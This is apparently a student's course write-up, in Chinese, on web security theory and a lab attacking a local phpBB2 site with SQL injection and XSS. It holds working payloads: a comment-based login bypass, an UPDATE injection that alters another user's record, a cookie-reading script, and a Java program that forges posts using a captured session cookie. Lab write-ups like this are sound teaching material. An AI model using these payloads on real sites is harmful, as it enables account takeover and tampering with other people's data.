导航

20199125 2019-2020-2 《网络攻防实践》第十一周作业

一.概况

本次作业属于哪门课 网络攻防实践
作业要求 Web应用程序安全攻防
收获 尝试SQL注入攻击一些简单的靶场,获得成功,但是对我自己写的后台系统未攻击成功

二、知识点总结

1.Web应用程序体系结构及其安全威胁

1.1.Web应用体系结构

Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言所编写,或能够在浏览器控制的环境中运行,依赖于浏览器来对应用程序进行渲染与执行。
Web应用的体系结构由浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染功能;而由功能强大的“胖”服务器负责完成主要业务的计算处理;两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。
“胖”服务器构成:

  • Web服务器软件
  • Web应用程序
  • 后端数据库

1.2.Web应用安全威胁

  • 针对浏览器和终端用户的web浏览安全威胁。具体包括以浏览器渗透攻击为核心的网页木马,Phishing网站钓鱼等。
  • 针对传输网络的网络协议安全威胁。如针对HTTP明文插损胡协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
  • 系统层安全威胁。Web站点的宿主操作系统,如Windows、Server、Linux等,存在着远程渗透攻击和本地渗透攻击威胁。
  • Web服务器软件安全威胁。web服务器如IIS、Apache作为一种典型的网络服务,也不可避免的存在着安全漏洞与弱点,攻击者可以利用这些漏洞对web服务器进行攻击,获取敏感信息。
  • Web应用程序安全威胁。程序员在使用ASP、PHP等脚本语言实现Web应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被共集资和渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
  • Web数据安全威胁。web站点中在Web应用程序后台存储的关联数据内容,以及web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。

2.Web应用安全攻防技术概述

2.1.Web应用的信息收集

2.1.1.手工审查Web应用程序结构与源代码

  • 静态和动态生成的页面:HTML源文件可能包含有价值的隐藏和注释信息,如表单中的隐藏字段可能存在会话处理、用户标识、口令等敏感信息。
  • 目录结构:Web服务器上的存储目录结构也是攻击者关注的信息,攻击者不会局限于利用浏览器及站点的导航链接来进行访问,他们会对Web服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查,来查看这些目录是否存在,以及是否由于不安全的配置可以进行目录文件枚举,从而可以从中搜索包含关键信息或可被攻击的文件。
  • 辅助性文件:Web应用程序的一系列辅助性文件,如CSS级联样式表、XML样式表、JavaScript文件、include文件等,通常用于格式化HTML页面以适应流行浏览器的不同要求,或者执行客户端的输入验证。手动审查这些辅助性文件可能会得到数据库字段结构、目录路径、Web应用输入参数以及数据库连接字符串等重要信息。
  • 输入表单:表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置,并可以深入地了解页面表单的各方面信息,包括数据提交的方法(使用GET还是POST来提交数据)、表单处理行为(调用什么脚本?使用何种脚本语言?)、输入字段名称、最大长度限制、隐藏字段、自动完成标记、口令字段等。
  • 查询参数字符串:从Web应用程序中很容易收集到一些动态页面文件的查询参数字符串,这些查询参数字符串可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令,或者执行其他应用程序开发者所不希望看到的动作。

2.1.2.自动下载与镜像Web站点页面

逐个手工地审查分析Web站点页面源码往往是很繁琐且低效的,一些自动下载与镜像Web站点页面的工具能够提升这一工作的自动化程度。在Linux系统上,可以使用lynx、Wget等工具,而在Windows上,可以使用迅雷、快车等工具。

2.1.3.Web应用程序安全评估与漏洞探测

Web应用安全辅助分析工具包括如下三种重要类型:

  • 浏览器插件:一些面向Web应用程序分析、调试和安全检查的浏览器插件能够支持你在浏览网站时,实时查看和修改传递给远端web服务器的数据。
  • 免费工具集:安全社区也提供了一些开源或免费的Web应用安全评估工具集,它们较浏览器插件往往具有更强大的功能。
  • 商业Web应用安全评估系统和漏洞扫描器

2.2.攻击Web服务器软件

2.2.1.数据驱动的远程代码执行安全漏洞

作为一种典型的网络服务守护进程,Web服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在Web服务器上直接获得远程代码执行的权利,并以相当高的权限执行任意命令。

2.2.2.服务器功能拓展模块漏洞

Web服务器软件通过一些功能扩展模块来为核心的HTTP引擎增加其他功能,启动包括动态代码执行、站点检索、web分布式写作与版本管理协议WebDAV、SSL加密协议等。

2.2.3.样本文件安全漏洞

为了让更多人接受和依赖他们的技术,Web服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法。由于这些文件只是用来作为演示,往往编写的很仓促,但在默认的Web服务器软件安装实例中却一直保留着;一旦这些样本文件存在安全漏洞,就使得攻击者可以利用这些默认包含的样本文件来对Web服务器实施攻击。

2.2.4.源代码泄露

源代码泄露漏洞让渗透测试人员能够查看到没有防护措施Web服务器上的应用程序源代码,在特定情况下,攻击者甚至可以利用这些漏洞查看到系统级的文件。

2.2.5.资源解析攻击

Web服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。一些Web服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理,从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。

2.3.攻击Web应用程序

2004年发布的《WASC Web安全威胁分类v1.0》将Web应用程序安全威胁从攻击技术角度分为如下6类:

  • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等。
  • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等。
  • 客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等。
  • 命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI注入等。
  • 信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等。
  • 逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。

2.4.攻击Web数据内容

  • 安全敏感数据泄露
    • Web服务器存在目录遍历漏洞或不安全的目录文件枚举配置,在不经意间泄露;
    • 利用Web服务器的Upload、incoming等上传目录临时中转文件时泄露;
    • 由于缺乏安全意识,在Web站点公开的文档资料中包含个人隐私、企业秘密,甚至国家秘密信息。
  • 网站篡改
  • 不良信息内容上传

2.5.Web应用安全防范措施

2.5.1.Web站点网络传输安全防护措施

  • 尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护。
  • 通过加密的连接通道来管理Web站点,避免使用未加密的telnet、FTP等
  • 对关键的Web服务器,设置静态绑定MAC—IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全监测,采用荣誉等机制来应对拒绝服务攻击。

2.5.2.Web站点操作系统及服务安全设防措施

  • 对Web站点的操作系统与服务器软件进行及时的补丁更新;
  • 对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描,在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞。
  • 采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置;部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。

2.5.3.Web应用程序安全设防措施

  • 采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险
  • 对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包。
  • 只在必要时候自主或外包开发Web应用程序,重视安全编程、持续性的安全测试和维护。
  • 使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计。

2.5.4.Web站点数据安全设防措施

  • 提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点
  • 对维护网站的数据安全实施日常检测与防护,提升Web站点的安全性,避免网站被攻击以后的信息泄露、网站内容篡改与不良信息上传。

3.SQL注入

3.1.SQL注入攻击原理

SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏栋实施的一类代码注入攻击技术,这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如引号(')、双引号(")、反引号(`)、分号(;)等,或者没有进行严格的类型判断,从而使得用户可以输入并执行一些非预期的SQL指令代码。

3.2.SQL注入攻击步骤和过程

  • 发现SQL注入点:发现SQL注入点是实施SQL注入攻击的第一步
  • 判断后台数据库类型
    • 利用数据库服务器的系统变量进行判断
    • 利用数据库服务器的系统表进行判断
  • 后台数据库管理员用户口令字猜解
    • 猜解表名
    • 猜解字段名
    • 用户名与口令猜解
  • 上传ASP后门,得到默认账户权限
  • 本地权限提升
  • 利用数据库扩展存储过程执行Shell命令

3.3.SQL注入工具

国外:Wposion、wieliekoek.pl、SPIKE Proxy;
国内:CSC、NBSI、HDSI、阿D注入工具、WED等

3.4.SQL注入攻击防范措施

  • 使用类型安全的参数编码机制
  • 凡是来自外部的用户输入,必须进行完备检查
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
  • 加强SQL数据库服务器的配置与连接

4.XSS跨站脚本攻击

XSS跨站脚本攻击从20世纪90年代就已经出现,近年来随着Web技术的发展与普及应用,XSS已经超过传统的缓冲区溢出攻击,成为排名最靠前的安全威胁类型之一;与代码注入攻击不同的是,XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序,而是使用Web应用程序的用户。

4.1.XSS攻击技术原理

与代码注入类似,XSS攻击的根源同样是Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容包含HTML、JavaScript及其他脚本代码,而一旦Web应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。

4.2.XSS攻击类型

  • 持久性XSS漏洞:通常出现于一些可以将用户输入持久性的保存在Web服务器端,并在一些“正常”页面中持续显示,从而能够影响所有访问这些页面的其他用户,因此该类XSS漏洞也被称作存储性XSS漏洞。
  • 非持久性XSS漏洞:当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS漏洞。
    XSS攻击银行网站实例步骤:
  • (1)攻击者构造出一个包含恶意脚本的bank.com登录请求链接,并通过EMail/HTTP等方式将该攻击链接发送给其他bank.com网站用户;
  • (2)受害者点击攻击链接后,将会把恶意链接中包含的恶意脚本当做用户名参数提交给bank.com的登录处理界面;
  • (3)由于bank.com登录处理页面存在XSS漏洞,将会在返回的欢迎页面中包含恶意客户端脚本;
  • (4)攻击者的恶意客户端脚本在受害者浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌,如ID、Cookie等信息;
  • (5)攻击者获得用户会话令牌以后,就可以劫持用户会话,或者伪造用户登录bank.com,并可实施进一步攻击。

4.3.XSS攻击防范措施

4.3.1.服务器端防范措施

  • 输入验证:Web应用程序应根据用户提交的数据进行严格的验证和过滤,需要验证的数据的潜在特性包括用户输入数据不是过长、仅包含某些合法字符、不能包含某些HTML与JavaScript关键标签符号、数据与一个特殊的正规表达式相匹配等。
  • 输出净化:Web应用程序对用户提交的数据进行HTML编码,以净化可能的恶意字符,将可能存在的恶意字符当做HTML文档内容而非结构来处理。
  • 消除危险的输入点:Web应用程序页面中有一些位置,在这里插入用户提交的输入就会造成极大的风险;因此,开发者应力求寻找其他方法执行必要的功能。

4.3.2.客户端防范措施

跨站脚本最终是在客户端浏览器上执行的,因此对抗XSS攻击需要提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读,此外也可采用非主流的安全浏览器如Chrome、Opera来尽量降低安全风险。

三、实践内容

1.SQL注入

  • 首先启动Apache2服务,执行指令sudo service apache2 start,启动服务;
  • 按照实验文档步骤,首先打开浏览器访问phpBB2主页,按照视频里的方法尝试注入,发现失败,原因是开启了SQL对抗措施,接下来关闭对抗措施,执行指令vim /etc/php5/apache2/php.ini,执行搜索指令,找到关键字符串,关闭对抗措施
  • 然后保存退出,重启Apache2服务,执行指令sudo service apache2 restart
  • 视频里使用的SQL注入方式刚开始没看懂,后来查询了百度才知道Ted'#是利用了在登录用户名输入框注入SQL来将整条SQL查询语句中后面的登录口令校验给注释掉了,所以只需要输入正确的用户名即可登录,即此时的sql语句变成了SELECTuser_id,username,user_password,user_active,user_level,user_login_tries,user_last_login_try FROMUSERS_TABLE WHEREusername=‟Ted‟ #ANDuser_password=‟md5($password)‟;利用注释方式注释掉对登录口令的校验,很容易就登录了该系统。
  • 成功以用户名Ted登录系统以后,就可以进行修改操作,点击profile按钮,即可进入修改信息表单,首先尝试着随便填写一些东西,然后点提交
  • 因为我在表单里输入了一些特殊字符,所以提交不成功,给出了反馈信息,分析可知提交表单使用了一条Update语句,并且是根据user_id来进行修改的
  • 这里要求修改别人的信息,那么可以尝试着在表单里注入SQL语句来修改最后面的where user_id =语句,将id改为其他编号,即把表单里的修改信息更新到数据库里id为其他编号的那条数据
  • 明白了SQL注入破解登录的原理,这里就简单多了,在表单最后一个提交的输入框里输入该项的值,并加上'where user_id =3#,即可将修改信息更新到用户id为3的账户上
  • 修改成功后,查看用户列表,用户Alice的信息已经被修改

2.XSS攻击

  • 当登入账户以后,添加新的消息,输入如下信息,并提交,其中<script>alert("XSS")</script>即为执行弹窗行为的脚本命令,这里把本来作为文档显示的内容当做了命令执行,当查看该消息时,script里的动作行为被执行,显示了弹窗信息

  • 下一步是获取页面cookie,重新添加一个消息,并在内容中加入script脚本信息,获取cookie并弹窗显示出来,其中<script>alert(document.cookie);</script>即为执行弹窗获取cookie的脚本命令

  • 抽取cookie信息修改用户发布的信息,这一步耽搁了好多时间,主要是被java源码给坑了,自己对这块也不是很熟悉,代码是我从一个网站上找的,但是按照教程上得来修改cookies信息,却发现总是修改不了用户发布的信息;我首先按照教程讲的启动Live HTTP HEADER,然后再添加一条新的信息,同时监听到POST提交数据的cookie数据
  • 刚开始我并不了解该如何篡改账户发出的信息,经过查阅资料得知当用户提交表单数据时会生成POSt请求信息,正如使用Live HTTP HEADER抓取到的网络请求里的那样,我尝试着修改POST content里的message信息,然后再次提交,观察用户发布的信息是否有变化,果然成功了,原来的用户信息是God is a girl,现在被篡改成了God is a Boy,这里的实现原理大概就是使用劫持Cookie的方式来修改提交的信息,并进行二次提交(重放),来实现篡改原来的用户信息。

  • 使用Live HTTP HEADER就实现了篡改用户信息的攻击,然后尝试着使用java编写POST请求程序来实现篡改,源码如下,其中CookieString Data信息必须要根据LIVE HTTP HEADER抓取到的POST信息来进行填充,并修改其中的message信息,即用户发布的信息内容,然后编译运行java程序

import java.net.*;

public class HTTPSimpleForge {

      public static void main(String[] args) throws IOException {

      try {

                    int responseCode;

                    InputStream responseIn=null;

                    // URL to be forged.

                    URL url = new URL ("http://www.xsslabphpbb.com/posting.php");

                    // URLConnection instance is created to further parameterize a

                    // resource request past what the state members of URL instance

                    // can represent.

                    URLConnection urlConn = url.openConnection();

                    if (urlConn instanceof HttpURLConnection) {

                           urlConn.setConnectTimeout(60000);

                           urlConn.setReadTimeout(90000);

             }

             // addRequestProperty method is used to add HTTP Header Information.

             // Here we add User-Agent HTTP header to the forged HTTP packet.

             urlConn.addRequestProperty("User-agent","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8");

            urlConn.addRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

             urlConn.addRequestProperty("Accept-Language","en-us,en;q=0.5");

             urlConn.addRequestProperty("Accept-Encoding","gzip,deflate");

             urlConn.addRequestProperty("Accept-Charset","ISO-8859-1,utf-8;q=0.7,*;q=0.7");

             urlConn.addRequestProperty("Connection","keep-alive");

             urlConn.addRequestProperty("Keep-Alive","115");

             urlConn.addRequestProperty("Referer","http://www.xsslabphpbb.com/posting.php?mode=editpost&p=6");

	     urlConn.setRequestProperty("Cookie","phpbb2mysql_t=a%3A3%3A%7Bi%3A5%3Bi%3A1589209423%3Bi%3A6%3Bi%3A1589220712%3Bi%3A7%3Bi%3A1589219172%3B%7D; phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=a5e7bec3029f9e4edbc8556ca8b6ba8a");

             urlConn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");

             urlConn.setRequestProperty("Content-Length","270");

             //HTTP Post Data which includes the information to be sent to the server.

             //String data="username=admin&seed=admin@seed.com";

           String data="subject=test+by+ted&addbbcode18=%23444444&addbbcode20=0&helpbox=Font+color%3A+%5Bcolor%3Dred%5Dtext%5B%2Fcolor%5D++Tip%3A+you+can+also+use+color%3D%23FF0000&message=God+is+a+little+Boy&topictype=0&poll_title=&add_poll_option_text=&poll_length=&mode=editpost&sid=a5e7bec3029f9e4edbc8556ca8b6ba8a&p=6&post=Submit";


             // DoOutput flag of URL Connection should be set to true

             // to send HTTP POST message.

             urlConn.setDoOutput(true);

             // OutputStreamWriter is used to write the HTTP POST data

             // to the url connection.

             OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());

             wr.write(data);

             wr.flush();

             // HttpURLConnection a subclass of URLConnection is returned by

             // url.openConnection() since the url is an http request.

             if (urlConn instanceof HttpURLConnection) {

                    HttpURLConnection httpConn = (HttpURLConnection) urlConn;

                    // Contacts the web server and gets the status code from

                    // HTTP Response message.

                    responseCode = httpConn.getResponseCode();

                    System.out.println("Response Code = " + responseCode);

                    // HTTP status code HTTP_OK means the response was

                    // received sucessfully.

                    if (responseCode == HttpURLConnection.HTTP_OK) {

                           // Get the input stream from url connection object.

                           responseIn = urlConn.getInputStream();

                           // Create an instance for BufferedReader

                           // to read the response line by line.

                           BufferedReader buf_inp = new BufferedReader(

                           new InputStreamReader(responseIn));

                           String inputLine;

                           while((inputLine = buf_inp.readLine())!=null) {

                                 System.out.println(inputLine);

                           }

                    }

             }

      } catch (MalformedURLException e) {

             e.printStackTrace();

             }

      }

}


-执行javac HTTPSimpleForge.java,然后再执行java HTTPSimpleForge,查看网页信息是否被修改,由于编码问题,在Linux中执行会显示乱码,执行完打开网页,已经被修改了。

  • 最后一个实践,也就是假冒用户发布新消息,还是老办法,首先用Live HTTP HEADER监听发布信息的POST请求信息,如下图所示,注意和之前的修改用户信息作区分,这里的mode变为了newtopic,而之前的是editpost
  • 同样先使用Live HTTP HEADER对获取的cookie进行修改内容,然后重新发送,观察网页新增了一条用户消息,这是一条新的消息,并不是修改了之前发布的信息
  • 接下来使用同样的办法,将对应的cookiestring data信息填写到java程序里,执行也起到了同样的效果

四、实验中遇到的问题

1.在进行XSS攻击实验的时候,每次打开弹窗系统就卡死,必须重新启动浏览器
2.恰好我用Vue写了一个后台管理系统,尝试了SQL注入来破解攻击,但是并未成功,没学过php写网页,不太清楚跟Node.js后端查询语句在实现上的区别
3.对于使用java来编写POST请求程序不是很熟练,此外,能否对cookie进行加密来保护其传递的信息不会泄露和被篡改,这个目前还不知道该如何实现。

posted on 2020-05-11 20:45  IT马保国  阅读(378)  评论(0编辑  收藏  举报